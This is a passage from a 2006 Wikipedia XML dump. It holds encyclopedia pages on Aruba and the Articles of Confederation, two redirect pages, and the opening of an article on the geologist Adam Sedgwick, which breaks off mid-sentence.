[[zh-min-nan:A-chiu]]
[[bn:এশিয়া]]
[[bs:Azija]]
[[br:Azia]]
[[ca:Àsia]]
[[ceb:Asya]]
[[cs:Asie]]
[[cy:Asia]]
[[da:Asien]]
[[de:Asien]]
[[et:Aasia]]
[[el:Ασία]]
[[es:Asia]]
[[eo:Azio]]
[[eu:Asia]]
[[fa:آسیا]]
[[fo:Asia]]
[[fr:Asie]]
[[fy:Aazje]]
[[ga:An Áise]]
[[gl:Asia]]
[[gu:એશિયા]]
[[ko:아시아]]
[[ht:Azi]]
[[hi:एशिया]]
[[hr:Azija]]
[[io:Azia]]
[[id:Asia]]
[[ia:Asia]]
[[is:Asía]]
[[it:Asia]]
[[he:אסיה]]
[[ka:აზია (ქვეყნის ნაწილი)]]
[[csb:Azëjô]]
[[kw:Asi]]
[[sw:Asia]]
[[ku:Asya]]
[[la:Asia]]
[[lt:Azija]]
[[lb:Asien]]
[[li:Azië]]
[[jbo:zdotu'a]]
[[hu:Ázsia]]
[[mk:Азија]]
[[mg:Azia]]
[[ms:Asia]]
[[mo:Асия]]
[[my:အာရ္ဟတိုက္‌]]
[[nl:Azië]]
[[nds:Asien]]
[[ja:アジア]]
[[no:Asia]]
[[nn:Asia]]
[[os:Ази]]
[[pl:Azja]]
[[pt:Ásia]]
[[ro:Asia]]
[[ru:Азия]]
[[se:Ásia]]
[[sa:एशिया]]
[[simple:Asia]]
[[sk:Ázia]]
[[sl:Azija]]
[[sr:Азија]]
[[su:Asia]]
[[fi:Aasia]]
[[sv:Asien]]
[[tl:Asya]]
[[ta:ஆசியா]]
[[th:ทวีปเอเชีย]]
[[vi:Châu Á]]
[[tr:Asya]]
[[uk:Азія]]
[[war:Asya]]
[[yi:אזיע]]
[[zh:亚洲]]</text>
    </revision>
  </page>
  <page>
    <title>Aruba</title>
    <id>690</id>
    <revision>
      <id>41860401</id>
      <timestamp>2006-03-02T05:03:44Z</timestamp>
      <contributor>
        <username>Justin Eiler</username>
        <id>312798</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{| style =&quot; &quot;margin-left:&quot; 0.5em;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;260px&quot;
|+ &lt;font size=&quot;+1&quot;&gt;'''Aruba'''&lt;/font&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2 |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of Aruba.png|125px|Flag of Aruba]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Aruba coa.png|100px]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of Aruba|In Detail]])
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Coat of Arms of Aruba|In Detail]])
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;font size=&quot;-1&quot;&gt;''National [[motto]]: One Happy Island''&lt;/font&gt;
|-
| align=&quot;center&quot; colspan=2 | [[Image:LocationAruba.png|Location of Aruba]]
|-
| [[Official language]] || [[Dutch language|Dutch]]
|-
| [[Political status]] ||  Dependent area of the [[Netherlands]]
|-
| [[Capital]] || [[Oranjestad, Aruba|Oranjestad]]
|-
| [[Dutch monarchy|Queen]]      
| [[Beatrix of the Netherlands|Beatrix]]
|-
| [[Governor]] || [[Fredis Refunjol]]
|-
| [[Prime Minister of Aruba|Prime Minister]]
| [[Nelson O. Oduber]]
|-
| [[Area]]&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water
| (Not ranked)&lt;br /&gt; [[1 E8 m²|180 km&amp;sup2;]] &lt;br /&gt; Negligible               
|-
| [[Population]]
&lt;br /&gt;&amp;nbsp;- Total (2004 est.) 
&lt;br /&gt;&amp;nbsp;- [[Population density|Density]]
| (Ranked 187)
&lt;br /&gt; 103,000 (2004)  
&lt;br /&gt; 363/km&amp;sup2; 
|-
| [[Currency]] || [[Aruban florin]]
|-
| [[Time zone]]  
| [[Coordinated Universal Time|UTC]] -4 
|-
| [[National anthem]] || [[Aruba Dushi Tera]]
|-
| [[Top-level domain|Internet TLD]] || [[.aw]]
|-
| [[List_of_country_calling_codes|Calling Code]]
| +297
|}
'''Aruba''' is an [[island]] in the [[Caribbean Sea]], just a short distance north of the [[Venezuela]]n [[Paraguaná Peninsula]], and it forms a part of the [[Kingdom of the Netherlands]]. Unlike much of the Caribbean region, it has a dry climate and an arid, cactus-strewn landscape.  This climate has helped tourism, however, as visitors to the island can reliably expect warm, sunny weather. 
 
==History==
:''Main article: [[History of Aruba]]''

Discovered and claimed for [[Spain]] in 1499, Aruba was acquired by the [[Netherlands|Dutch]] in 1636. The island's economy has been dominated by three main industries. A [[19th century|19th-century]] [[gold]] rush was followed by prosperity brought on by the opening in 1924 of an [[Petroleum|oil]] refinery. The last decades of the [[20th century]] saw a boom in the [[tourism]] industry. 

Aruba seceded from the [[Netherlands Antilles]] on [[January 1]], [[1986]], and became a separate, self-governing member of the [[Kingdom of the Netherlands]].  Movement toward full independence by [[1996]] was halted at Aruba's request in 1990.

==Politics==
:''Main article: [[Politics of Aruba]]''

Aruba is a part of the Kingdom of the Netherlands, but maintains full control over its own affairs except for issues dealing with national defence, citizenship, foreign affairs, and extradition. Aruba has its own laws, constitution, government, and currency.

The Aruban [[head of state]] is the ruling monarch of the [[Netherlands]], who is represented in Aruba by a [[governor]], appointed for a six-year term. The [[head of government]] is the [[Prime Minister]], who forms, together with the Council of Ministers, the [[executive branch]] of the government. 

They are elected by the [[parliament]], the [[unicameral]] Legislature or ''Staten'', which holds 21 seats. Members are elected by direct, popular vote to serve four-year terms.

==Geography==
:''Main article: [[Geography of Aruba]]''

Aruba is a generally flat, [[river]]less island renowned for its white sand [[beach]]es. Most of these are located on the western and southern coasts of the island, which are relatively sheltered from fierce ocean currents.  The northern and eastern coasts, lacking this protection, are considerably more battered by the sea and have been left largely untouched by humans.  The interior of the island features some rolling hills, the better two of which are called [[Hooiberg]] at 165 [[metre]]s (541 [[foot (unit of length|ft]]) and [[Mount Jamanota]], which is the highest on the island, at 188 metres (617 ft) above [[sea level]]. Oranjestad, the capital, is located at {{coor dm|12|19|N|70|1|W|}}.

As a separate member state of the [[Kingdom of the Netherlands]], the island/state has no administrative subdivisions. On the east are [[Curaçao]] and [[Bonaire]],two island territories which form the southwest part of the [[Netherlands Antilles]]; Aruba and these two Netherlands Antilles islands are also known as the [[ABC islands]].

The local [[climate]] is a pleasant tropical marine climate. Little seasonal temperature variation exists, which helps Aruba to attract tourists all year round. Temperatures are almost constant at about 28&amp;nbsp;[[Celsius|°C]] (82&amp;nbsp;[[Fahrenheit|°F]]), moderated by constant [[trade wind]]s from the [[Atlantic Ocean]].  Yearly precipitation barely reaches 500 [[millimeter|mm]] (20 [[inch|in]]), most of it falling in late autumn.  [[Image:Aruba_map.png|right|Map of Aruba with cities]]

==Economy==
:''Main article: [[Economy of Aruba]]''

Aruba enjoys one of the highest standards of living in the Caribbean region, with low poverty and unemployment rates.  About half of the Aruban [[Gross National Product]] is earned with [[tourism]] or related activities. Most of the tourists are from [[Canada]], the [[European Union]] and other places notably the [[United States]], which is the country's largest trading partner. Oil processing is the dominant industry in Aruba, despite expansion of the tourism sector. The size of the agriculture and manufacturing industries remains minimal.

Deficit spending has been a staple in Aruba's history, and modestly high inflation has been present as well, although recent efforts at tightening monetary policy may correct this. Aruba receives some [[development aid]] from the Dutch government each year. The Aruban guilder has a fixed exchange rate with the [[United States dollar]] of 1.79:1.

==Demographics==
[[Image:Aruba-demography.png|thumb|300px|left|Population of Aruba, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
Having poor [[soil]] and aridity, Aruba was saved from plantation economics and the [[slave trade]].  In 1515, the Spanish transported the entire population to [[Hispaniola]] to work in the [[copper]] [[mining|mines]]; most were allowed to return when the mines were tapped out. The Dutch, who took control a century later, left the [[Arawaks]] to graze livestock, using the island as a source of meat for other Dutch possessions in the Caribbean. The Arawak heritage is stronger on Aruba than on most Caribbean islands. No full-blooded [[Native American (Americas)|Indians]] remain, but the features of the islanders clearly indicate their genetic heritage. The majority of the population is descended from Arawak, Dutch and Spanish ancestors.  Recently there has been substantial immigration to the island from neighboring Latin American and Caribbean nations, attracted by the lure of well-paying jobs.

The two official languages are the Dutch language and the predominant, national language [[Papiamento]], which is classified as a Creole language. This [[creole language]] is formed primarily from 16th century [[Portuguese language|Portuguese]], and several other languages. Spanish and English are also spoken.  Islanders can often speak four or more languages and are mostly [[Roman Catholic Church|Roman Catholic]].

'''Population:''' 103,000( April 2004 est.)

'''Age structure:'''
* 0-14 years: 20.7% (male 7,540; female 7,121)
* 15-64 years: 68.3% (male 23,427; female 24,955)
* 65 years and over: 11% (male 3,215; female 4,586) (2003 est.)

'''Median age:'''
* total: 37.1 years
* male: 35.3 years
* female: 38.5 years (2002)

'''Population growth rate:''' 0.55% (2003 est.)

'''Birth rate:''' 11.86 births/1,000 population (2003 est.)

'''Death rate:'''  6.38 deaths/1,000 population (2003 est.)

'''Net migration rate:'''  0 migrant(s)/1,000 population (2003 est.)

'''Sex ratio:'''&lt;br /&gt;
at birth: 1.05 male(s)/female&lt;br /&gt;
under 15 years: 1.06 male(s)/female&lt;br /&gt;
15-64 years: 0.94 male(s)/female&lt;br /&gt;
65 years and over: 0.7 male(s)/female&lt;br /&gt;
total population: 0.93 male(s)/female (2003 est.)

'''Infant mortality rate:'''
* total: 6.14 deaths/1,000 live births
* female: 5.25 deaths/1,000 live births (2003 est.)
* male: 6.99 deaths/1,000 live births

'''Life expectancy at birth:'''
* total population: 78.83 years
* male: 75.48 years
* female: 82.34 years (2003 est.)

'''Total fertility rate:'''  1.79 children born/woman (2003 est.)

'''Nationality:'''&lt;br /&gt;
''noun:'' Aruban(s)&lt;br /&gt;
''adjective:'' Aruban; Dutch

'''Religions:''' [[Roman Catholic Church|Roman Catholic]] 82%, [[Protestantism|Protestant]] 8%, [[Hindu]], [[Muslim]], [[Confucian]], [[Jew]]ish

'''Languages:'''
[[Dutch language|Dutch]] (official), [[Papiamento]] (national language), [[Spanish language|Spanish]], [[English language|English]].

==Culture==
:''Main article: [[Culture of Aruba]]''

The origins of the population and location of the island give Aruba a mixed culture. Dutch influence can still be seen, even though not much of the population is of Dutch origin. Tourism from the United States has recently also increased the visibility of American culture on the island. [[Queen Beatrix International Airport]], located near [[Oranjestad, Aruba]], currently serves the whole island of Aruba. This airport has access to various cities across the eastern U.S., from Miami, Orlando, Houston, Atlanta to New York. It also connects Aruba with Europe through the [[Schiphol Airport]] in the Netherlands.

The holiday of [[Carnival]] is an important one in Aruba, as it is in many Caribbean and Latin American countries.  Carnival is usually held from the beginning of January until the end of February, with a large parade on the final Sunday of the festivities.

''See also: [[Music of Aruba and the Netherlands Antilles]]''

==Language==
{{main|Languages of Aruba}}
Language can be seen as an important part of island culture in Aruba. The cultural mixture has given way to a linguistic mixture known as &quot;[[Papiamento]]&quot;. However, islanders are known to speak many languages. Islanders often speak Papiamento, English, Dutch and Spanish. In recent years the government of Aruba has shown an increased interest in acknowledging the cultural and historical importance of its native language.

==Places of interest==
* Alto Vista Chapel
* [[Arikok National Park]] 
* Ayo and Casibari Rock Formations
* [http://www.thejanskys.org/lighthouse/Other/calif.html California Lighthouse]
* Frenchman's Pass
* [[Hooiberg]]
* Lourdes Grotto
* [http://www.thespecks.com/Aruba/Aruba2000/natbridge.html Natural Bridge] (Collapsed on September 2, 2005 [http://www.usatoday.com/news/world/2005-09-02-aruba-bridge_x.htm?csp=36])
* Natural Pool
* Palm and Eagle Beaches

==Miscellaneous topics==
*[[Communications in Aruba]]
*[[Foreign relations of Aruba]]
*[[Transportation in Aruba]]
*[[Military of Aruba]]

==External links==
{{Spoken Wikipedia|En-aruba.ogg|2005-08-15}}
{{Commons|Aruba}}
{{Wiktionarypar|Aruba}}
*[http://www.aruba.com/ Aruba.com] - Official governmental portal
*[http://www.arubatravelinfo.com/ Aruba Hotels and Travel Info]
*[http://www.arubatourism.com/ ArubaTourism.com] - The original website for Aruba Visitors, established in 1996.
*[http://www.loc.gov/rr/international/hispanic/aruba/aruba.html Library of Congress Portals on the World - Aruba]
*[http://www.cia.gov/cia/publications/factbook/geos/aa.html CIA - The World Factbook -- Aruba] - [[CIA World Factbook]] on Aruba
* An [http://www.caribbean-on-line.com/islands/ar/armap.shtml island map of Aruba] and a [http://www.caribbean-on-line.com/islands/ar/ormap.shtml detailed map of Oranjestad] are available at Caribbean-On-Line.com
*[http://www.aruba-bb.com/ Aruba Travel Forums] - Aruba Message Board
*[http://bb.visitaruba.com/index.php Visit Aruba Travel Forums] - Aruba Message Board
*[http://www.zerokarma.com/modules.php?name=Photo_Album&amp;file=thumbnails&amp;album=4 Photos &amp; Pictures of Aruba]
*[http://www.airportaruba.com/ Aruba Airport Authority]
*[http://www.aruba-ecards.com/ Free Aruba Ecards]
*[http://www.cbaruba.org/ CBAruba.org] - The official Central Bank of Aruba.
*[http://www.arubaaloe.com/ Aruba Aloe]
*[http://www.arubabound.com/ Aruba Bound!]
*[http://www.elmar.aw/info/content/default.jsp N.V. Elmar] - Aruba's electric utility
*[http://aruba-guide.info/ Aruba Guide] - The Definitive Aruba Vacation Guide

{{West_Indies}}
{{Caricom}}

[[Category:Aruba]]
[[Category:Caribbean islands]]
[[Category:Special territories of the European Union]]

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[[zh:阿魯巴]]</text>
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  </page>
  <page>
    <title>Articles of Confederation</title>
    <id>691</id>
    <revision>
      <id>41819362</id>
      <timestamp>2006-03-01T23:20:28Z</timestamp>
      <contributor>
        <ip>64.12.116.204</ip>
      </contributor>
      <comment>/* Ratification */</comment>
      <text xml:space="preserve">[[Image:Articles page1.jpg|thumb|right|The Articles of Confederation]] 
The '''Articles of Confederation and Perpetual Union''', commonly known as the '''Articles of Confederation''' was the first governing document of the [[United States|United States of America]]. 

The articles, which combined the [[13 colonies]] of the [[American Revolutionary War]] into a loose [[confederation]], were adopted by the [[Second Continental Congress]] on [[November 15]], [[1777]], after 16 months of debate. The articles were ratified three years later on March 1, 1781. 

The articles were eventually replaced by the [[United States Constitution]] on June 21, 1788, when the ninth state, [[New Hampshire]], ratified the Constitution. According to their own terms for modification, however, the articles were still in effect until 1790, when every one of the 13 states had ratified the new Constitution.

== Ratification ==
The Articles of Confederation were submitted to the states for ratification on [[November 17]] [[1777]], accompanied by a letter from Congress urging that the document

:''be candidly reviewed under a sense of the difficulty of combining in one general system the various sentiments and interests of a continent divided into so many sovereign and independent communities, under a conviction of the absolute necessity of uniting all our councils and all our strength, to maintain and defend our common liberties .&amp;nbsp;.&amp;nbsp;. '' {{ref|ratificationletter}}

The document only became effective as it was ratified by the states. This process dragged on for several years, stalled by an interstate quarrel over claims to uncolonized land in the west. [[Maryland]] was the last hold-out; it refused to ratify until [[Virginia]] and [[New York]] agreed to rescind their claims to lands in the [[Ohio River]] valley. All of the colonies rebelling against Britain ratified it by [[1781]].

Although Congress debated the Articles for over a year, it requested immediate action on the part of the states. On [[February 5]] [[1778]] [[South Carolina]] became the first state to ratify the Articles of Confederation. However, three and a half years passed before the final ratification by [[Maryland]] on [[March 1]] [[1781]].

==Article Summaries ==
{{ChartersOfFreedom}}
Even though the Articles of Confederation and the Constitution were established by much of the same people, they were still very different. The document contained 13 articles, a conclusion, and a signatory section.

#Establishes the name of the confederation as &quot;The United States of America&quot;
#Explains the rights possessed by any state, and the amount of power to which any state is entitled
#Establishes the United States as a league of states united &quot;...for their common defense, the security of their liberties, and their mutual and general welfare, binding themselves to assist each other, against all force offered to, or attacks made upon them...&quot;
#Establishes [[freedom of movement]]&amp;ndash;anyone can pass freely between states, excluding &quot;[[pauper]]s, [[vagabond]]s, and [[fugitive]]s from justice excepted.&quot; All people are entitled to the rights established by the state into which he or she travels. If a crime is committed in one state and the perpetrator flees to another state, he will be [[extradition|extradited]] to and tried in the state in which the crime was committed.
#Allocates one vote in the [[Congress of the Confederation]] (United States in Congress Assembled) to each state, which was entitled to a delegation of between two and seven members. Members of Congress were appointed by state legislatures; individuals could not serve more than three out of any six years.
#Limits the powers of states to conduct [[foreign relations]] and to [[declaration of war|declare war]].
#When an army is raised for common defense, [[Colonel (United States)|colonels]] and [[military rank]]s below colonel will be named by the state legislatures.
#Expenditures by the United States will be paid by funds raised by state legislatures, and apportioned to the states based on the real property values of each.
#Defines the rights of the central government: to declare war, to set weights and measures (including coins), and for Congress to serve as a final court for disputes between states.
#Defines a [[Committee of the States]] to be a government when Congress is not in session.
#Requires nine states to approve the admission of a new state into the confederacy; preapproves [[Canada]], if they apply for membership.
#Reaffirms that the Confederation accepts war debt incurred by Congress before the articles ([[assumption]]).
#Declares that the articles are perpetual, and can only be altered by approval of Congress with ratification by ''all'' the state legislatures.

Still at war with the [[Kingdom of Great Britain]], the colonists were reluctant to establish another powerful national government. Jealously guarding their new independence, the Continental Congress created a loosely structured [[unicameral]] legislature that protected the liberty of the individual states at the expense of the confederation. While calling on Congress to regulate military and monetary affairs, for example, the Articles of Confederation provided no mechanism to ensure states complied with requests for troops or revenue. At times this left the military in a precarious position, as [[George Washington]] wrote in a [[1781]] letter to the governor of [[Massachusetts]], [[John Hancock]].

== The end of the war ==
The [[Treaty of Paris (1783)]], ending hostilities with Great Britain, languished in Congress for months because state representatives failed to attend sessions of the national legislature. Yet, Congress had no power to enforce attendance. Writing to [[George Clinton (politician)|George Clinton]] in September [[1783]], George Washington complained:

:''Congress have come to no determination yet respecting the Peace Establishment, nor am I able to say when they will. I have lately had a conference with a Committee on this subject, and have reiterated my former opinions, but it appears to me that there is not a sufficient representation to discuss Great National points.'' {{ref|washingtonclinton}}

==Function==
The Articles supported the Congressional direction of the [[Continental Army]], and allowed the [[13 Colonies|Thirteen Colonies]] to present a unified front when dealing with the European powers. But as an instrument of government, they were largely a failure. Congress could make decisions, but had no power to enforce them.

Perhaps the most important power that Congress was denied was the power of taxation: Congress could only request [[money]] from the states. Understandably, the states did not generally comply with the requests in full, leaving the confederation chronically short of funds. The states and the national congress had both incurred debts during the war, and paying congressional debts became a major issue.

Nevertheless the [[Continental Congress]] did take two actions with lasting impact. The [[Land Ordinance of 1785]] established the general land survey and ownership provisions used throughout later American expansion. The [[Northwest Ordinance]] of [[1787]] noted the agreement of the original states to give up western land claims and cleared the way for the entry of new states.

Once the unity demanded by the Revolutionary War became unnecessary, the [[Continental Army]] was largely disbanded. A very small national force was maintained to man frontier forts and protect against Indian attacks. Meanwhile, each of the states had an army (or militia), and 11 of them had navies. The wartime promises of bounties and land grants to be paid for service were not being met. In 1783, [[George Washington|Washington]] defused the [[Newburgh conspiracy]], but riots by unpaid [[Pennsylvania]] veterans forced the Congress to leave [[Philadelphia, Pennsylvania|Philadelphia]] on [[June 21]].

==Revision==
In May [[1786]], [[Charles Pinckney (governor)|Charles Pinckney]] of [[South Carolina]] proposed that Congress revise the Articles of Confederation. Recommended changes included granting [[Congress]] power over foreign and domestic commerce, and providing means for Congress to collect money from state treasuries. Unanimous approval was necessary to make the alterations, however, and Congress failed to reach a consensus.

In September, five states assembled in the [[Annapolis Convention (1786)]] to discuss adjustments that would improve commerce. Under their chairman, [[Alexander Hamilton]], they invited state representatives to convene in [[Philadelphia]] to discuss improvements to the federal government. After debate, Congress endorsed the plan to revise the Articles of Confederation on [[February 21]] [[1787]]. According to some historians, the Articles were flawed; in particular, the [[confederal]] government was unable to settle state disputes on issues like trade and had no power to tax directly. After all, the states were thirteen individual [[republics]]. It took radical action to strip them of that [[sovereignty]].

==Lessons==
Although ultimately replaced by the [[United States Constitution]], the Articles of Confederation provided stability during the [[American Revolutionary War]] years. Most importantly, the experience of drafting and living under this initial document provided valuable lessons in self-governance and somewhat tempered fears about a powerful central government. Still, reconciling the turmoil between state and federal authority continues to challenge America, as seen in such conflicts as the [[1832]] [[Nullification Crisis]], the [[American Civil War]] ([[1861]]-[[1865|65]]), post-Civil War [[Reconstruction]], and the [[Supreme Court of the United States|Supreme Court]]'s landmark ''[[Brown v. Board of Education]]'' decision in [[1954]].
*****

==Signatures==
The copy of the Articles in the U.S. National Archives has a series of signatures on page six. A list of them is presented here. The signing of the Articles was a process that has caused some confusion. The Articles were approved for distribution to the states, on [[November 15]], [[1777]]. A copy was made for each state and one was kept by the [[Continental Congress|Congress]]. The copies sent to the states for ratification were unsigned, and a cover letter had only the signatures of [[Henry Laurens]] and [[Charles Thomson]], who were the [[President of the Continental Congress|President]] and Secretary to the Congress.

But, the Articles at that time were unsigned, and the date was blank. Congress began the signing process by examining their copy of the Articles on [[June 27]], [[1778]]. They ordered a final copy prepared (the one in the National Archives), and that delegates should inform the secretary of their authority for ratification.

Then, on [[July 9]], [[1778]] the prepared copy was ready. They dated it, and began to sign. They also requested each of the remaining states to notify its delegation when ratification was completed. On that date, delegates present from New Hampshire, Massachusetts, Rhode Island, Connecticut, New York, Pennsylvania, Virginia, and South Carolina signed the articles to indicate that their states had ratified. New Jersey, Delaware, and Maryland could not, since their states had not ratified. North Carolina and Georgia also didn't sign that day, since their delegations were absent.

After the first signing, some delegates signed at the next meeting they attended. For example John Wentworth of New Hampshire added his name on [[August 8]]. John Penn was the first of North Carolina's delegates to arrive (on [[July 10]]), and the delegation signed the Articles on [[July 21]], [[1778]].

The other states had to wait until they ratified the Articles, and notified their Congressional delegation. Georgia signed on [[July 24]], New Jersey on [[November 26]], and Delaware on [[February 12]], [[1779]]. After a wait of two years, Maryland ratified, and her delegates signed the Articles on [[March 1]], [[1781]]. The articles were finally in force.

Congress had debated the Articles for over a year and a half, and the ratification process had taken nearly three and a half years. Many participants in the original debates were no longer delegates, and some of the signers had only recently arrived. The '''Articles of Confederation and Perpetual Union''' were signed by a group of men who were never present in the Congress at the same time.

The signers and the states they represented were:
* [[New Hampshire]]: [[Josiah Bartlett]] and [[John Wentworth Jr.]]
* [[Massachusetts|Massachusetts Bay]]: [[John Hancock]], [[Samuel Adams]], [[Elbridge Gerry]], [[Francis Dana]], [[James Lovell (delegate)|James Lovell]], and [[Samuel Holten]]
* [[Rhode Island|Rhode Island and Providence Plantations]]: [[William Ellery]], [[Henry Marchant]], and [[John Collins (delegate)|John Collins]]
* [[Connecticut]]: [[Roger Sherman]], [[Samuel Huntington (statesman)|Samuel Huntington]], [[Oliver Wolcott]], [[Titus Hosmer]], and [[Andrew Adams]]
* [[New York]]: [[James Duane]], [[Francis Lewis]], [[William Duer (1747-1799)|William Duer]], and [[Gouverneur Morris]]
* [[New Jersey]]: [[John Witherspoon]] and [[Nathaniel Scudder]]
* [[Pennsylvania]]: [[Robert Morris (merchant)|Robert Morris]], [[Daniel Roberdeau]], [[Jonathan Bayard Smith]], [[William Clingan]], and [[Joseph Reed (jurist)|Joseph Reed]]
* [[Delaware]]: [[Thomas McKean]], [[John Dickinson (1732-1808)|John Dickinson]], and [[Nicholas Van Dyke (1738-1789)|Nicholas Van Dyke]]
* [[Maryland]]: [[John Hanson]] and [[Daniel Carroll]]
* [[Virginia]]: [[Richard Henry Lee]], [[John Banister]], [[Thomas Adams (politician)|Thomas Adams]], [[John Harvie]], and [[Francis Lightfoot Lee]]
* [[North Carolina]]: [[John Penn (delegate)|John Penn]], [[Cornelius Harnett]], and [[John Williams (delegate)|John Williams]]
* [[South Carolina]]: [[Henry Laurens]], [[William Henry Drayton|Will Henry Drayton]], [[John Mathews]], [[Richard Hutson]], and  [[Thomas Heyward Jr.]]
* [[Georgia (U.S. state)|Georgia]]: [[John Walton (1738-1783)|John Walton]], [[Edward Telfair]], and [[Edward Langworthy]]

==Presidents of the Congress of the Confederation==
The following list are those who led the [[Congress]] under the Articles of Confederation as the [[President of the United States in Congress Assembled|Presidents of the United States in Congress Assembled]]. The &quot;president&quot; under the Articles was the presiding officer of Congress, not the chief [[executive (government)|executive]], as is the [[President of the United States]] under the Constitution. Also, the Articles defined the powers of a [[confederation]] of states as opposed to the current [[Constitution of the United States|Constitution]], which defines the powers of a [[federation]] of states.

#[[Samuel Huntington (statesman)|Samuel Huntington]]
#[[Thomas McKean]]
#[[John Hanson]]
#[[Elias Boudinot]]
#[[Thomas Mifflin]]
#[[Richard Henry Lee]]
#[[John Hancock]]
#[[Nathaniel Gorham]]
#[[Arthur St. Clair]]
#[[Cyrus Griffin]]


For a full list of Presidents of the Congress Assembled and Presidents under the two Continental Congresses before the Articles, see [[President of the Continental Congress]].

==References==
#{{note|ratificationletter}}[http://memory.loc.gov/cgi-bin/query/r?ammem/hlaw:@field(DOCID+@lit(jc00941)) Monday, November 17, 1777], Journals of the Continental Congress, 1774-1789. [http://memory.loc.gov/ammem/amlaw/lawhome.html A Century of Lawmaking, 1774-1873]
#{{note|washingtonclinton}}[http://memory.loc.gov/cgi-bin/query/r?ammem/mgw:@field(DOCID+@lit(gw270170)) Letter George Washington to George Clinton], September 11, 1783. [http://memory.loc.gov/ammem/gwhtml/gwhome.html The George Washington Papers, 1741-1799]

==External links==
{{wikisource}}
* [http://www.law.ou.edu/hist/artconf.html Text Version of the Articles of Confederation]
* [http://earlyamerica.com/earlyamerica/milestones/articles/cover.html Articles of Confederation and Perpetual Union]
* [http://www.loc.gov/rr/program/bib/ourdocs/articles.html Library of Congress: Articles of Confederation and related resources]
* [http://memory.loc.gov/ammem/today/nov15.html Library of Congress: &quot;Today in History: November 15&quot;]
* [http://www.usconstitution.net/articles.html The United States Constitution Online: The Articles of Confederation]

{{US Constitution}}

[[Category:Defunct constitutions]]
[[Category:United States historical documents]]
[[Category:Legal history of the United States]]
[[Category:American Revolution]]
[[Category:Federalism]]
[[Category:1781 in law]]

[[de:Konföderationsartikel]]
[[eo:Artikoloj de Konfederacio]]
[[fr:Articles de la Confédération]]
[[it:Articoli della Confederazione]]
[[nl:Artikelen van de Confederatie]]</text>
    </revision>
  </page>
  <page>
    <title>Archaeology/Broch</title>
    <id>693</id>
    <revision>
      <id>15899219</id>
      <timestamp>2003-10-30T12:00:32Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>removing 'see also' from redirect page</comment>
      <text xml:space="preserve">#REDIRECT [[Broch]]</text>
    </revision>
  </page>
  <page>
    <title>Asia Minor</title>
    <id>694</id>
    <revision>
      <id>15899220</id>
      <timestamp>2004-11-01T22:52:41Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>{{R with possibilities}}</comment>
      <text xml:space="preserve">#REDIRECT [[Anatolia]]{{R with possibilities}}</text>
    </revision>
  </page>
  <page>
    <title>Adam Sedgwick</title>
    <id>695</id>
    <revision>
      <id>42103474</id>
      <timestamp>2006-03-03T21:22:29Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>/* Introduction */ dab Prince Albert</comment>
      <text xml:space="preserve">[[Image:Adam sedgwick.JPG|right|thumb|Adam Sedgwick]]

'''Adam Sedgwick''' ([[March 22]], [[1785]] &amp;ndash; [[January 27]], [[1873]]) was one of the founders of modern [[geology]].  He proposed the [[Devonian period]] of the geological timescale and later the [[Cambrian]] period. The latter proposal was based on work which he did on [[Wales|Welsh]] rock strata.

Sedgwick was born in [[Dent (Lonsdale)|Dent]], at that time in [[Yorkshire]], the third child of an Anglican vicar. He was educated at [[Sedbergh School]] and [[Trinity College, Cambridge]].

==Introduction==

In [[1817]] he took [[holy orders]], and in [[1818]] he became [[Woodwardian Professor of Geology]] at the [[University of Cambridge]] [[University of Cambridge Department of Earth Sciences|Department of Earth Sciences]], holding a chair that had been endowed ninety years before by the natural historian [[John Woodward (naturalist)|John Woodward]]. He lacked formal training in geology, but he quickly became an active researcher in geology and [[paleontology]]. During his tenure, he immensely enlarged the geological collections of Cambridge University, and carried out important field research all over [[Great Britain]]. Sedgwick is said to have remarked, upon being appointed Woodwardian Professor, &quot;Hitherto I have never turned a stone; henceforth I will leave no stone unturned.&quot; In [[1822]] he carried out fieldwork unraveling the complex geology of the [[Lake District]] of [[northern England]], armed with the new discoveries and techniques of [[William Smith (geologist)|William Smith]]. He met and befriended the poet [[William Wordsworth]] on this expedition, and also met the poet [[Robert Southey]] and the chemist [[John Dalton]]. His lectures at [[Cambridge]] were immensely popular; he was a spellbinding [[lecturer]], and -- breaking with the traditions of his time -- his lectures were open to women, whom Sedgwick thought could make great contributions to natural history. He continued to rise in his profession: in [[1829]] he became President of the [[Geological Society of London]], and in [[1845]] a Vice-Master of [[Trinity College, Cambridge|Trinity College]]. As Vice-Master, he led campaigns to open Cambridge to non-[[Anglican]]s and to reorganize the academic programs, in the process meeting and becoming close to [[Victoria of the United Kingdom|Queen Victoria]] and her consort [[Prince Albert of Saxe-Coburg and Gotha|Prince Albert]]. By the 1850s he was in poor health, cared for by his niece Isabella. Still, he kept giving his famous lectures until [[1871]].

==Early work==

Sedgwick was one of several great figures in what has been called the Heroic Age of geology -- the time when the great geological time periods were defined, and when much exploration and fundamental research was carried out. Sedgwick's work placed him at the epicenter of one of the most heated geological controversies of his day, stemming from his work with the gentleman geologist [[Roderick Murchison]]. They explored the [[geology of Scotland]] in [[1827]], and in [[1839]] they jointly presented their researches on certain rocks in [[Devon]], [[England]], which had a distinctive [[fossil]] assemblage that led them to propose a new division of the geological time scale -- the [[Devonian]]. In the early 1830s, both men were working on the rocks of Wales, which were and are very difficult to work on due to extensive [[folding]] and [[geologic fault|faulting]]. However, they seemed to be older than most of the [[sedimentary rocks]] farther east. Murchison documented the presence of a distinctive set of fossils, one in which very few fish were found, but that included numerous different types of [[trilobites]], [[brachiopods]], and other such fossils. Murchison named the system of rocks containing such fossils the [[Silurian]], after the Silures, a Celtic 